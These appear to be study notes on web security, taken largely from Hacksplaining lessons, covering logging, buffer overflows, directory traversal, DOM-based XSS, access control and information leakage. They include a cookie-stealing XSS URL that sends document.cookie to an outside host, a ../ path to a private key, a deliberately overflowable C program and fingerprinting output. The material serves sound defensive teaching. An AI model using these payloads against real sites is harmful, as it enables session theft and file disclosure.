
12:59:41.2 INFO  sessions.py:4  Establishing session for user: 3892  
12:59:41.8 **ERROR** sessions.py:9  Unable to find user 3892!  
12:59:43.2 INFO  sessions.py:4  Establishing session for user: 94012  
12:59:43.8 INFO  sessions.py:19 Established session for user: 94012  
12:59:43.8 DEBUG sessions.py:21 Last logged in: 3 days ago

For instance, logging packages allow you to tag each log of statement with a log leven, indicating how sifnificant the event is. This will allow administrators to filter out irrelevant rows from the log file by setting the appropriate configuration. Log files from different services should be viewable at runtime, which means shipping them to a central **log severs.** Log servers allow administrators to view consolidated lof files in realtime, either via the command line or a dedicated web console. Moreover, log files should also be retained for as long as reasonably possible, since old log files can be analyzed to detect attacks or troubleshoot issues**. In many industries, keeping old logs files is required by law** so be sure to back them up.   
  
Be careful not to write confidential information like user passwords or personally identifiable information in log files in case an attacker gets hold of them, store your log files in a secure location ( preferably encrypted) for the same reason.   
  
Also, log files are very verbose by their nature, so you should use monitoring to detect trends in your logged output, you cannot possibly read all of that data in its raw form. Monitoring frequently measures key metrics for your web server, like response times, throughput, server loads and memory usage. This can be rolled up into a monotoring dashboard to make it easy to diagnose the health of the website : reponse time, throughput, memory, ….   
  
Monitoring can also be used to pick up unexpected or suspicious errors, which can often be an indicator of a cyber attack. At the very least, you should be collecting records of errors that occur so you can fix any underlying bugs.   
  
It is not reasonable to expect administrators to observe your website 24/7 so unusual conditions picked up by your monitoring should trigger alerts via email, instant message or text. Make sure the alert « thresholds » are set correctly though, or else you will be getting team members out of bed constantly.   
  
Observe how the logs for this web-server can be used to detect an attempt to brute force the login screen. Configure an alert that will cause the administrator to be notified. Finally, make sure you have a  **response plan**  to follow when alerts are raised ! This should be a living documents that includes trouble shooting steps such as restarting servers or adjusting firewalls in response to the problem.

**A) logging and monitoring : how to protect**

**Comprehensive logging and monitoring is key to being able to detect what your site is doing at runtime.** If you do not implement it correctly, you will be unable to detect when your system is under attack, and you are liable to get compromised without knowing it.

risks

logging in code

Modern programming languages come with logging packages that allow you to add lines of text to a log file as the application is running. Taking advantage of these packages will give you a papertrail of what your application is doing as users interact with it. Smart use of logging will allow you to spot bugs in your code, diagnose incorrect behavior in your application, troubleshoot user issuers, and raise alerts when cyber-attacks occur.

**Key Elements in Log Statements**

Each entry written to a log file should contain a **timestamp**, the **log message**, and an indication of where in the code the entry is being written from - in other words, the **code file** and **line number**. Depending on what type of functionality the code is handling, it is also useful to include some of the following:

* **The server name** if more than one server is writing to the log file.
* **The URL, HTTP status code and incoming IP address** if the code is handling an incoming HTTP request.
* **The username** if the code is being executed in response to an action by a logged-in user.
* **Timing information** if the code is executing a time-sensitive action.
* **Diagnostic information** - for instance, if any action had to re-tried, or if a component is responding slowly.
* **Error messages and stack traces** if an error occurs.

**What Events to Log**

You should log every HTTP request and the corresponding response, being sure to include the URL, the HTTP response code, and the time taken to service the request. You should also log any significant actions performed by your web application, including:

* Input validation failures, e.g. when the code encounters unexpected parameter names or values.
* Authentication successes and failures.
* Authorization (access control) failures.
* Session management failures, e.g. when session cookies are rejected as invalid.
* Application errors and system events.
* Startup and shutdown events - including timing information!
* User events like sign-ups, password changes and account deletions.
* Administrative events, e.g. when permissions are changed by an admin.
* Calls to third-party services or APIs.
* Legal and other opt-ins, e.g. when a user accepts the terms of use.

**What Not to Log**

Writing sensitive information to your logs is a security risk - imagine what an attacker could do if they stole your log files! Make sure your logging statements **never** contain any of the following:

* User or system passwords.
* Encryption keys.
* Database connection strings.
* API keys for third-party services.
* Personally identifiable information about users.
* Payment information like credit card numbers.
* Sensitive HTTP headers, such as Authorization headers.
* Session IDs or session cookies.
* Access tokens - for example, those used during sign-ups or password resets.
* Information a user has opted out of collection. The “right to be forgotten” is law in many parts of the world, and this includes data in log files.

**Log Levels**

By convention, most logging packages allow you to mark logging statements with one of at least four “log levels” - typically named DEBUG, INFO, WARNING and ERROR, in order of importance. You should mark each logging statement with an appropriate log level to make it easy to filter out the noise in log files. Servers can be configured so only statements marked with a particular log level are written to the log file: a server configured with the INFO log-level will write INFO, WARNING and ERROR messages to the log file, but omit DEBUG messages.

Low-level diagnostic events should be marked as DEBUG statements, and typically only show up in non-production environments. The INFO log level should be used for normal running: the events expected to occur when users interact with your website. Unexpected events should be logged with the WARNING level, and errors should be marked with the ERROR log level.

**other types of logging**

In addition to the logging statements added to your code, other applications in your stack will typically output log files. A web server like Apache, Nginx or IIS will log HTTP request and response information. Databases will typically write log files too, which are useful for diagnosing performance issues. Make sure your team has access to these logs too when diagnosing issues.

**log aggregation and storage**

Logs should be centralized and stored securely so they can be viewed by administrators. “Log servers” like LogStash, Graylog, Splunk and PaperTrail will aggregate log files from different sources and allow them to be searched and analyzed in realtime. Log servers are often available as services, and can be added as plug-ins if you run on cloud-based services.

**monitoring**

Logging should be paired with monitoring, the process of continuously assessing whether your site is running as expected. Monitoring software often pulls key “metrics” from log files to diagnose the health of a web application. Let’s discuss the various ways you can monitor your application.

**Uptime Monitoring**

The most basic form of monitoring is checking that your site is available. “Uptime monitors” like Uptime Robot and Pingdom are free services that will check whether a URL is responding to HTTP requests successfully. (More complex or frequent checks are usually available as a paid option.) This is a simple way to achieve peace-of-mind: if your site ever becomes unavailable, the monitoring software will send an email or text alert to your team.

**Error Reporting**

Capturing unexpected errors that occur on your website is key to detecting cyber-attacks and ensuring software quality. Errors conditions can either be extracted from log files, or recorded using plug-ins provided by services like Rollbar or Airbrake. Error reporting services even allow you to capture error conditions that occur in JavaScript in the browser, which typically won’t appear in server-side logs.

**Performance Metrics**

Capturing performance metrics will give you granular information about the state of your web application. Your monitoring should keep track of:

* **Responsiveness**: how long it takes to respond to each web request.
* **Throughput**: how many requests per second are hitting your site.
* **Memory usage and server load**: how much of each server’s memory space is being used up, and how close each server is to full capacity.
* **Database performance**: how many queries are being run per second and how many concurrent connections there are.

**Alerting**

You should configure your monitoring software to alert your team when unusual errors occur or when performance metrics reach critical conditions. Alerts can be sent over email, instant messaging or text. Large organizations will have support rotas, so at least one engineer is available to respond to alerts at all times.

**Response Plans**

Being alerted to errors is only useful if there are actions your support engineers can undertake to fix the error condition! Make sure you put together a trouble-shooting plan for a responding engineer to follow, and keep it up to date as you develop your system.

Troubleshooting steps may consist of restarting servers, adding extra servers in times of high load, blacklisting IP addresses when you see malicious traffic, or escalating to team specialists (like network engineers and database administrators) when particular parts of the application appear to be the problem. If the issue starts to affect users, making an announcement on a status page or in a website banner will earn you goodwill.

***CH 15 : buffer overflows***

An attacker can use buffer overflows to take your site offline or to inject malicious code. A buffer overflow occurs when a program tries to write too much data in a fixed length block of memory ( a buffer). Buffer overflows can be used by attackers to crash a web server or execute malicious code.   
  
A buffer is a block of contiguous memory used to hold data. High leven languages will check the length of a buffer before writting to it but low level languages like C and C ++ and Assembly require the application itself to do thys type of checking.   
  
Take a look at this very simple C program that does not check the length of the input. Try entering a username that is longer than 8 chars and watch what happens …..   
  
oops.c

**void** askForUsername()

{

// Buffer can only hold 8 characters!

**char** buffer[8];

printf("Enter supply your username:\n");

scanf("%s", buffer);

printf("You entered: %s\n", buffer);

}

**int** main()

{

**while**(1) askForUsername();

**return** 0;

}

Actually, extra data that overflows a buffer will be written into the nearby memory space, and will often crash the application. Under some circumstances, an attacker will be able to sneak theyr own code into the overflowed data and have this « shell code » executed within the vulnerable application. One common approach is to fill as much of the program’s memory space as possible with no-op instructions then place the injected code at the end. If the program’s execution context lands on any of the no op code, i twill skip to the next no op, then the next and so on, until it finally executes the injected code.   
  
Most languages used to write web code like python, ruby, node, java and .NET are using « managed memory » and are immune to buffer overflow attacks.

Safe.java

**try** {

String[] array = { "a", "b", "c" };

array[25] = "z";

}

**catch** (ArrayIndexOutOfBoundsException e) {

// Attempts to overflow the buffer will raise an error in Java.

e.printStackTrace();

}

However web servers, language runtimes, and operating systems are frequently written in low level languages and can exhibit the vulnerability. The fact that 80% of the web is running on one of the four web servers means anytime a vulnerability is discovered, it can be widely exploited.   
  
  
**A) how to protect against buffer overflow attacks**

**A buffer overflow occurs when a program tries to write too much data in a fixed length block of memory (a buffer).** Buffer overflows can be used by attackers to crash a web-server or execute malicious code. If your web-server is vulnerable to buffer overflow attacks, it is only a matter of time until a hacker injects code and takes control of your system.

risks

buffer overflows in c and c++

Buffer overflows in C and C++ arise when you use unsafe functions that do not check the length of data being written to a buffer. If you write C or C++ code, make sure to use the following secure equivalent functions:

| **Insecure Function** | **Secure Alternative** |
| --- | --- |
| gets() | fgets() |
| strcpy() | strncpy() |
| strcat() | strncat() |
| sprintf() | snprintf() |

buffer overflows in the applications you use

It’s pretty rare for web-developers to write low-level code in languages like C or C++, so the biggest risk of buffer overflows for must of us in the applications we use.

**Web Servers**

Most websites are deployed using a web server to serve static content. (This is distinct from the application server that executes dynamic content.) The three most common web-servers are:

* Apache HTTP Server
* Microsoft Internet Information Services (IIS)
* Nginx

Each of these has been found to be vulnerable to buffer overflows at different times. Web-server vendors are very quick to patch vulnerabilities, so the key to keeping yourself secure is deploying security patches as soon as they become available.

**Operating Systems and Language Runtimes**

Buffer overflow attacks have been launched against websites by taking advantage of vulnerabilities in operating systems and language runtimes. The [Heartbleed](http://heartbleed.com/) attack took advantage of a serious vulnerability in the OpenSSL cryptographic software library that Linux-based web-servers use to encrypt SSL/TLS traffic. Similarly, security researchers have discovered vulnerabilities in various functions in the PHP runtime which allow attackers to launch buffer overflow attacks remotely by crafting malicious input.

**Remediation**

To avoid being exposed to buffer overflow vulnerabilities in the applications you use, you need to keep them up-to-date with the latest security patches. These are the key things to need to do:

* **Automate your build and deployment process.** You need to know which versions of each application your are running on each server. This means writing deployment scripts for web-servers and language runtimes, and retaining copies of deployment logs.
* **Keep on top of security bulletins.** Make sure your team is on the lookout for security announcements for the applications you use. Sign up for mailing lists, join forums, and follow software vendors on social media.
* **Deploy security patches as soon as they become available!** Hackers will find ways to take advantage of security vulnerabilities as soon as they are made public, so make sure you are not amongst the target audience.

***Ch 16 directory traversal***

Web sites are made up of two types of file : those intended to be accessible by the browser ( like JS and CSS files and those that are not. Web servers often route URLS to particular template files or assets on the file system. Typically, the layout of the files on the server mirror the URL structure of the site. Web servers often route URLs to particular template files or assets on the file system. Typically, the layout of the files on the server mirror the URL structure of the site.   
  
A naively configured server can be too permissive about what files it returns. This allows a hacker to access files that were never intended for public consumption. Imagine a user click on a link to get the menu of a restaurant, the name of the requested file is then passed in the « menu » parameter of the query string. Unfortunately, the raw file name is used in the download URL so an attacker can abuse the « menu » parameter to « climb out » of the directory that holds the menu PDF’s. The hacker crafts a URL using relative path syntax ../ to explore the local file system.   
  
Since the server does not validate file paths, the hacker is able to access sensitive files on the Unix hosted system.

**/ETC/PASSWD**

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

adm:x:3:4:adm:/var/adm:/sbin/nologin

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

Now you can try enter the relative path ../../../../ssl/private.key to dowload the private.key security certificate.

/bin

**/etc**

/etc/apache2

/etc/apache2/site

/etc/apache2/site/menus

/etc/apache2/site/menus/arachnaburger.pdf

/etc/apache2/site/menus/kimchi.pdf

/etc/apache2/site/menus/daily-grind.pdf

/etc/apache2/site/menus/meatsticks.pdf

/etc/passwd

/etc/ssl

/etc/ssl/private.key

/var

**A) preventing directory traversal**

**Directory traversal** vulnerabilities allow attackers to access arbitrary files on your system. They tend to occur in older technology stacks, which map URLs too literally to directories on disk.

risks

If an attacker discovers a directory traversal vulnerability, it is only a matter of time before they compromise your system. An experienced attacker will have seen a similar technology stack, and will have a playbook of things to try next.

**If your site is indexed on Google, and you have URLs that pass file names in the query string, you are likely advertising a potential vulnerability to attackers. Hackers often use search engines to locate likely targets, and will search for tell-tale URLs. Try searching Google for site:<yourdomain.com> inurl:file= to see if any results get returned!**

Protection

**Use a Content Management System**

If your site handles a lot of documents, chances are the workflows around uploading, indexing, publishing, and replacing documents will be quite involved. You may have non-technical users acting as administrators. If this is the case, look into using a third-party [content management system](https://www.hacksplaining.com/glossary/content-management-systems), which are designed for exactly these cases.

A modern CMS will protect against directory traversal.

**Use Indirection**

If a content-management system proves too heavyweight as a solution, consider using indirection to label your files. Each time a file is uploaded, construct a “friendly” name for this on your site, and when the file is accessed, perform a lookup in your data-store to discover the actual file path.

This approach effectively white-lists valid names, and avoids the fragility of passing around raw file paths.

**Segregate Your Documents**

Hosting documents on a separate file-server or file partition, or in cloud storage, is a good idea too. This will allow you to prevent mixing public documents and more sensitive material.

**Sanitize Filename Parameters**

If you insist on using raw file names, you need to sanitize the file names coming in from HTTP requests. Initially, this would seem to be simply a matter of checking for “back-tracking” paths starting with ../.

In actual fact, it is a lot more complex than that. For example, Unix file systems interpret paths starting ~/ as relative to the home directory. It is even easier to construct a lot of ambiguous paths in Windows. Moreover, depending on how URLs are encoded, it is possible to obscure malicious paths. See here for a list of exploits people have found.

**The safest approach is to restrict filenames to a list of known good characters, and ensure that any references to files use only those characters.**

**Run with Restricted Permissions**

It is a good practice to run your server processes with only the permissions that they require to function – the [principle of least privilege](https://www.hacksplaining.com/glossary/principle_of_least_privilege). This can help limit the impact of vulnerabilities as a second line of defense.

Make sure the server process can only access the directories it needs. Consider running the process in a **chroot jail** if you are running on Unix. This will mitigate the risks if a directory traversal vulnerability is discovered.

***Ch 17 )*** ***Dom-based XSS***

As javascript frameworks have gotten more sophisticated, many devs are pushing logic to the client-side. Correspondingly, the importance of knowing how to protect against vulnerabilities occuring in the browser have increased. Rich web apps often use URI fragments, the part of the URL after the # sign. This has proven a convenient method of storing the user’s location within a page in a way that keeps browser history readable, but does not cause extra round trips to the server.   
  
URI fragments are not sent with http requests, sot hey need to be interpreted by client side javaScript. You should be careful that your treatment of URI fragments does not permit the injection of malicious JS. Lets see how a site might be vulnerable to that kind of hack. Our exemple website has infinite scroll content which is loaded in dynamically as the page is scrolled down. Notice how the URI fragment is used to track the scroll location.   
  
This is done so that if a user navigates away from the site, and then presses the back button, the site can reload their last location. However, there is a vulnerability in the way the URI frament is interpreted by this site. The site updates the page number directly from the URI frament, without checking the contents :   
  
$(document).onload(**function**() {

**var** page = window.location.hash;

loadPage(page);

$("#page-no").html(page);

});

Notice how the window.location.hash value is written into the DOM as raw HTML - a major security hole.

This means an attacker can construct a URL with malicious js in the URI fragment ….. such as :   
  
[www.chinterest.com#**<script>window.location="http://www.haxxed.com?cookie="+document.cookie</script**](http://www.chinterest.com#<script>window.location="http://www.haxxed.com?cookie="+document.cookie</script)**>**

Thus, if anybody clicked the link, the malicious js will be executed in their browser. 

**protecting your users against dom-based xss attacks**

**a) how to protect against dom based XSS attacks**

**Cross-site scripting** (XSS) is one of the most common ways hackers attack websites. XSS vulnerabilities permit a malicious user to execute arbitrary chunks of JavaScript when other users visit your site.

**XSS is the most common publicly reported security vulnerability, and part of every hacker’s toolkit.**

DOM-based XSS attacks have all the risks associated with [the other types of XSS attack](https://www.hacksplaining.com/prevention/xss-stored#risks), with the added bonus that they are impossible to detect from the server side. Any page that uses URI fragments is potentially at risk from XSS attacks.

protection

Protecting against DOM-based XSS attacks is a matter of checking that your JavaScript does not interpret URI fragments in an unsafe manner. There are a number of ways to ensure this.

**Use a JavaScript Framework**

Frameworks like [AngularJS](https://angularjs.org/) and [React](http://facebook.github.io/react/" \t "_blank) use templates that makes construction of ad-hoc HTML an explicit (and rare) action. This will push your development team towards best practices, and make unsafe operations easier to detect.

**AngularJS**

In Angular any dynamic content written out in curly brackets will automatically be escaped, so the following is safe:

<div>{{dynamicContent}}</div>

Be wary of any code that binds dynamic content to the innerHTML attribute since that will not be escaped automatically:

<div [**innerHTML**]="dynamicContent"></div>

<div **innerHTML**="{{dynamicContent}}"></div>

**React**

In React any dynamic content written out in curly brackets will automatically be escaped, so the following is safe:

render() {

return <div>{dynamicContent}</div>

}

React allows you write out raw HTML by binding content to the dangerouslySetInnerHTML property, which is named to remind you of the security risk! Watch out for any code that looks like the following:

render() {

return <div **dangerouslySetInnerHTML**={ **\_\_html:** **dynamicContent** } />

}

**Audit Your Code Carefully**

Sometimes a full JavaScript framework is too heavyweight for your site. In that case, you will need to regularly conduct code reviews to spot locations that reference window.location.hash. Consider coming up with agreed coding standards on how URI fragments are to be written and interpreted, and centralize this logic in a core library.

If you use JQuery, carefully check any code that uses the [html(...)](https://api.jquery.com/html/#html2) function. If you are constructing raw HTML on the client-side on the back of untrusted input, you may have a problem, whether the input comes from a URI fragment or not. Use the [text(...)](https://api.jquery.com/text/" \l "text2" \t "_blank) function whenever possible.

If you are using direct the native DOM APIs, avoid using the following properties and functions:

* [innerHTML](https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML)
* [outerHTML](https://developer.mozilla.org/en-US/docs/Web/API/Element/outerHTML)
* [document.write](https://developer.mozilla.org/en-US/docs/Web/API/Document/write)

Instead, set text content within tags wherever possible:

* [textContent](https://developer.mozilla.org/en-US/docs/Web/API/Node/textContent)

**Parse JSON Carefully**

**Do not** evaluate JSON to convert it to native JavaScript objects - for example, by using the eval(...) function. Instead use [JSON.parse(...)](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse" \t "_blank).

**Detect Unsafe Code Using Development Tools**

The Burp Suite, produced by the security firm PortSwigger, [can be used to to detect DOM-based vulnerabilities.](https://portswigger.net/support/using-burp-scanner-to-test-for-dom-based-xss)

**Don’t Use URI Fragments At All!**

The most secure code is the code that isn’t there. If you don’t need to use URI fragments, then don’t! Write a unit test to scan your JavaScript for mentions of window.location.hash, and have it fail if the pattern is found. When there is a need to use URI fragments, then you can discuss how to ensure their safe use.

**Implement a Content-Security Policy**

Modern browsers support [Content-Security Policies](http://www.html5rocks.com/en/tutorials/security/content-security-policy/) that allow the author of a web-page to control where JavaScript (and other resources) can be loaded and executed from. XSS attacks rely on the attacker being able to run malicious scripts on a user’s web page - either by injecting inline <script> tags somewhere within the <html> tag of a page, or by tricking the browser into loading the JavaScript from a malicious third-party domain.

By setting a content security policy in the response header, you can tell the browser to never execute inline JavaScript, and to lock down which domains can host JavaScript for a page:

|  |
| --- |
| **Content-Security-Policy: script-src 'self' https://apis.google.com** |
| By whitelisting the URIs from which scripts can be loaded, you are implicitly stating that inline JavaScript is **not** allowed. |

The content security policy can also be set in a <meta> tag in the <head> element of the page:

<meta **http-equiv**="Content-Security-Policy"

**content**="script-src 'self' https://apis.google.com">

This approach will protect your users very effectively! However, it may take a considerable amount of discipline to make your site ready for such a header. Inline scripts tags are considered bad practice in modern web-development - mixing content and code makes web-applications difficult to maintain - but are common in older, legacy sites.

To migrate away from inline scripts incrementally, consider makings use of [CSP Violation Reports](https://developer.mozilla.org/en-US/docs/Web/Security/CSP/Using_CSP_violation_reports). By adding a report-uri directive in your policy header, the browser will notify you of any policy violations, rather than preventing inline JavaScript from executing:

|  |
| --- |
| **Content-Security-Policy-Report-Only: script-src 'self'; report-uri http://example.com/csr-reports** |

This will give you reassurance that there are no lingering inline scripts, before you ban them outright.

***Ch 18 : Broken access control***

Most web users browse by clicking links, or using search functions. Because of this, it is tempting to think anything on your site that is not linked to or indexed will be hidden. However, that attitude is considered security through obscurity. And is best avoided. Even if the path to sensitive data is practically unguessable ( say youre using UUIDs ie universal unique identifier) once a path is discovered it can be widely shared. Worse, if your paths are predictable, a savvy user can write scripts to periodically check potential URLs and see whether new informations is available.   
  
Access control decisions need to be evaluated every time a resource is accessed. Lets look how broken access control could harm your business. This is based on a real world case study that cost a company **millions of dollars.**Lets say Stan is running a website that posts financial reports and press releases for major companies. Important business people read these reports and adjust their portfolios according to the information disclosed. **Corporations have a legal obligation to post earnings reports.**Information must be made available to all interested parties simultaneously, to avoid allegations of insider trading ( disclosure of private informations that impact the markets while it should have not). This is made explicit in the contract between Stan and his client.   
  
Lots of documents are submitted to Stan. To keep track, hep osts the report to his site as he receives them, then updates the links on the main feed at the pre arranged publishing time.   
Lets say a hacker wants to have access to those financial reports before the rest of the market.   
  
He then notices the quarterly reports have a predictable naming structure and check a potential URL before the official publication date. Now, the hacker can circumvent access control rules and writes a script to periodically check reports on all the companies in his portfolio. Getting financial reports before rest of the market allows him to perform super high on the markets. In the end, the hacker’s society comes under investigation for suspected insider trading. In court, they argue that they are siply accessing publicly available information. Stan fir will be fine for not upholding their obligation to release information at the appropriate time.

**a) ensuring proper access control**

**Correctly applied access control rules are key to keeping your data secure.** Almost all applications need to protect sensitive data and operations, so putting careful thought into how to restrict access is important when designing a system.

risks

Depending on the sensitivity of the data that your application handles, the repercussions of broken access control can be very severe. Data leaks can cause reputational damage, cost your business financial penalties, make your customers vulnerable to fraud, and even endanger national security (if you work for a government agency).

There is no one-size-fits-all solution to correctly implement access control. Generally speaking, your access control strategy should cover three aspects:

* **Authentication** - correctly identifying a user when they return to the application.
* **Authorization** - deciding what actions a user should and should not be able to perform once they have been authenticated.
* **Permission Checking** - evaluating authorization at the point-in-time when a user attempts to perform an action.

Authorization is often implemented by granting each user a specific role. (Administrative users are frequently differentiated from regular users, for instance.) More granular permissioning schemes need to be implemented if individual documents or data items need to have separate privileges.

Authorization schemes often implement an idea of **ownership**. Certain resources can **belong** to a user or group of users, and may not be accessible to others without their permission.

Finally, access control schemes are often declared as **policies** that white-list or black-list specific entities and groups against certain actions.

Given this complexity, designing correct access control takes time and careful thought. There are a few guidelines you need to follow:

* **Decide what the biggest risks are to your organization, and focus on mitigating those risks.**
* **Design and document your access control scheme upfront.** Access control needs to be implemented correctly throughout your system. Without an agreed upon set of rules, it is hard to define what a “correct” implementation looks like.
* **Attempt to centralize access control decisions in your codebase.** This doesn’t necessarily mean having all access decisions flow through one code-path, but you should have a standard method of evaluating access control decisions. This might consist of function decorators, web access path checking, a stored procedure layer in your database, inline assertions in the code, or calls out to a dedicated permissioning component or in-house API.
* **Test access control critically.** Make sure your testing procedures genuinely attempt to find holes in your access control scheme. Treat it like an attacker would, and you will be better prepared when your first real attack occurs. If you have the time and budget, consider employing an external team to perform penetration testing.

other considerations

Content Management Systems

If your site deals heavily in documents, [like in our example exercise](https://www.hacksplaining.com/exercises/broken-access-control), consider using a [content management system](https://www.hacksplaining.com/glossary/content-management-systems). Complex rules –  
like embargoing a document until a pre-agreed point in time – can often be implemented very easily.

LDAP

If you need to share role- and group-based authorization across multiple applications, you may want to look into investing in a [Lightweight Directory Access Protocol (LDAP)](https://www.hacksplaining.com/glossary/ldap) solution. LDAP servers – the most well-known of which is Microsoft’s Active Directory – store user and group information in a tree structure, using a flexible schema, and allow searches to be run in a dedicated query language (also called LDAP, confusingly.)

In addition to [Microsoft](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview), [Oracle](https://docs.oracle.com/cd/B14099_19/idmanage.1012/b14082/intro.htm) and [IBM](http://www.ibm.com/software/products/en/directoryserv) all offer mature LDAP implementations. LDAP is designed to make access control and identity management decisions very quickly, and at scale, but can require a large upfront investment.

***CH 19 : information leakage***

Revealing system information helps an attacker learn about your site and gives them an idea how it might be attacked.

When an attacker targets your website, thell try to learn as much as possible about your stack sot hey can determine how it can be compromised. If your site unnecessarily exposes information about the technology it runs on, your are makin like easier for hackers…..

An attacker has a wide variety of tools available to them when probing your site for vulnerabilities. Lets look at some of the ways you might be leaking information. The first thing an attacker will try to figure out is what web server you are running, and the language it is written in. Many web servers describe this information in http headers, which is great advertising for the web servor vendor but bad news for the security side.   
  
**▼ Response Headers**

**Server:**

Apache/1.3.23

**Accept-Ranges:**

bytes

**Content-Length:**

196

**Connection:**

close

**Content-Type:**

text/html

**HTTP response from Apache 1.3.23**

**▼ Response Headers**

**Server:**

Microsoft-IIS/5.0

**Content-Type:**

text/html

**Accept-Ranges:**

bytes

**ETag:**

"b0aac0542e25c31"

**Content-Length:**

7369

**HTTP response from Microsoft IIS 5.0 server**

Listing the web server in the http headers does nothing for your users but will tell an attacker which exploits they can try. Make sure that you turn off this feature in your web server configuration, or even better, misreport the web server !

**▼ Response Headers**

**Accept-Ranges:**

bytes

**Content-Length:**

196

**Connection:**

close

**Content-Type:**

text/html

**Sanitized HTTP response**

Beware because URLS might also disclose information about the web server technology. Avoid paths ending with file extensions like .php .jsp or .asp and design your site to use clean URLs. Also, cookies can reveal information about the server you are running. The name of the session ID parameter often gives a clue to the server side technology. Use a generic parameter name if this property is configurable.   
  
**▼ Request Headers**

**Accept:**

text/html

**Accept-Encoding:**

gzip, deflate

**Accept-Language:**

en-US,en;q=0.8

**Accept-Ranges:**

bytes

**Cache-Control:**

max-age=0

**Connection:**

keep-alive

**Cookie:**

JSESSIONID=5VGQVT8f20k4fXNM2

**JSESSIONID indicates a Java stack**

After, attackers sometimes deploy complex « finger printing » tools to determine server type. By submitting non standard http requests ( like delete requests) and broken http headers, they can heuristically determine the likely server type by examining how it responds in these ambiguous situations.   
  
# ./httprint -s signatures.txt -o apache1.html -h apache.example.com

httprint v0.200 (beta) - web server fingerprinting tool

(c) 2003, net-square solutions pvt. ltd. - see readme.txt

http://net-square.com/httprint/

httprint@net-square.com

-------------------------------------------

Finger Printing on http://apache.example.com:80/

Derived Signature:

Apache-AdvancedExtranetServer/2.0.44 (Mandrake Linux/11mdk) mod\_perl/1.99\_08

Perl/v5.8.0 mod\_ssl/2.0.44 OpenSSL/0.9.7a PHP/4.3.1

9E431BC86ED3C295811C9DC5811C9DC5050C5D32505F

0D7645B5811C9DC5811C9DC5811C9DC511DDC7D7811C

FCCC535B6ED3C295FCCC535B811C9DC56ED3C295050C

6ED3C295E2CE69262A200B4C6ED3C2956ED3C2956ED3

E2CE69236ED3C295811C9DC56ED3C295E2CE6923

Banner Reported: Apache-AdvancedExtranetServer/2.0.44 (Mandrake Linux/11mdk)

mod\_perl/1.99\_08 Perl/v5.8.0 mod\_ssl/2.0.44 OpenSSL/0.9.7a PHP/4.3.1

Banner Deduced: Apache/2.0.x

Scores:

Apache/2.0.x: 126 81.29

Apache/1.3.[4-24]: 118 64.73

Apache/1.3.27: 117 62.83

Apache/1.3.26: 116 60.96

Apache/1.2.6: 113 55.59

Apache/1.3.[1-3]: 113 55.59

Some web servers have plug ins that will attempt to obscure this tell tale behaviour. On the other hand, the simpler measures that were already mentioned are generally enough to protect against automated attacks.   
  
# ./httprint -s signatures.txt -o apache1.html -h apache.example.com

httprint v0.200 (beta) - web server fingerprinting tool

(c) 2003, net-square solutions pvt. ltd. - see readme.txt

http://net-square.com/httprint/

httprint@net-square.com

-------------------------------------------

Finger Printing on http://apache.example.com:80/

Derived Signature:

Apache-AdvancedExtranetServer/2.0.44 (Mandrake Linux/11mdk) mod\_perl/1.99\_08

Perl/v5.8.0 mod\_ssl/2.0.44 OpenSSL/0.9.7a PHP/4.3.1

9E431BC86ED3C295811C9DC5811C9DC5050C5D32505F

0D7645B5811C9DC5811C9DC5811C9DC511DDC7D7811C

FCCC535B6ED3C295FCCC535B811C9DC56ED3C295050C

6ED3C295E2CE69262A200B4C6ED3C2956ED3C2956ED3

E2CE69236ED3C295811C9DC56ED3C295E2CE6923

Banner Reported: Apache-AdvancedExtranetServer/2.0.44 (Mandrake Linux/11mdk)

mod\_perl/1.99\_08 Perl/v5.8.0 mod\_ssl/2.0.44 OpenSSL/0.9.7a PHP/4.3.1

Banner Deduced: Apache/2.0.x

Scores:

Apache/2.0.x: 126 81.29

Apache/1.3.[4-24]: 118 64.73

Apache/1.3.27: 117 62.83

Apache/1.3.26: 116 60.96

Apache/1.2.6: 113 55.59

Apache/1.3.[1-3]: 113 55.59

**Example from the utility "httprint", diagnosing server type**

Another location where your site is prone to leak sensitive information is error messages. Make sure error messages are sanitized sot hey do not reveal details about the data store, the paths of template files or stack traces. It is important to have a generic http 500 error page and keep detailed reporting in server side logs or reporting systems. That applies to AJAX response too. Failed asynchronous http response will not generally be rendered in the browser but if they return detailed debug information in JSON or XML a hacker somewhere is thanking you. Rich client applications often pass significant amounts of raw data to the browser. Be careful how much data is exposed in JSON packets for example. Modern frameworks make it easy to serialize data objects as JSON or XML but you should take care that information is sanitized before being passed back to the client-side.   
  
Client side JS may contains vulnerabilities. If you use common libraries, an attacker can look up your version in an exploit database, to see if there is anything they can take advantage of. JS libraries sometimes enable XSS attacks so do your research when choosing which versions to deploy.

Be sure to obfuscate ( ie make the code unreadable for humans ) your JS code, including thir party libraries. Many libraries require you to keep the copyright notice in the deployed code but if possible, it is not a bad idea to hide version numbers in the code and avoid revealing versions in file names.   
Also, be sure to sanitize any source code or templates file that generates HTML, too. Its easy to accidentally leave sensitive data, like server names and addresses, in code comments when rushing out a release. Using static analysis tools and performing code reviews will limit the likelihood of this happening.   
**Unsanitized source code can give away internal IP addresses.**You have to ensure you strictly seperate public and configuration directories and make sure everyone on your team knows the difference. Accidentally making configuration data over http is a gift to a hacker. If you accept file uploads from your users, remember to scrub any potentially sensitive meta datas as courtesy. Be careful not to leak location or personal details in Exif tags !   
  
In the end, be aware that tools like NMAP can often be used to determine the operating system you are running on. NMAP uses TCP/IP finger printing sending ambiguous data packets, and looking for distinctive responses.

**A) preventing information leakage**

**Disclosing system information helps an adversary learn about your site and form a plan of attack.** Try to reveal as little about your technology stack and architecture as possible, beyond what is essential for your users to know.

Revealing system information makes life easier for an attacker, and gives them a playbook of vulnerabilities they can probe for. It may not be feasible to completely obscure your technology stack, but some simple steps can go 90% of the way to discouraging most attackers. Be extra sure to scrub any debug or error information that might reveal what is going on behind the scenes – this is typically where an attacker will try to find vulnerabilities first.

